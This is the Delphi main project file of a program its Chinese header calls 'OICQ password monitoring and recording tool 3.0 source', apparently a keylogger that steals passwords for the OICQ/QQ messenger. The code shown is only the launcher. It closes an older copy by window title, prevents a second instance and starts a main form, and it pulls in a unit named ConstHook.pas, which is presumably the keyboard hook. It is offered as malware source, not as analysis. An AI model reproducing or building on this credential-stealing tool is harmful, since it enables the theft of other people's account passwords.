oicqspy3.dpr

OICQ 密码监听记录工具3.0源程序

program OicqSpy3;

uses
  Forms,   Windows, Messages,
  MainUnit in 'MainUnit.pas' {MainForm},
  ConstHook in 'ConstHook.pas';

{$R *.RES}

begin
Oldhandle:=Findwindow(Nil,Pchar(Oldappcap));
if Oldhandle <> 0 then Sendmessage(Oldhandle, WM_CLOSE, 0, 0);

if Findwindow(Pchar('TMainForm'),Pchar(Newappcap)) <> 0 then Exit;
  Application.Initialize;
  Application.Title := '密码监听记录工具3.0';
  Application.CreateForm(TMainForm, MainForm);
  Application.Run;

end.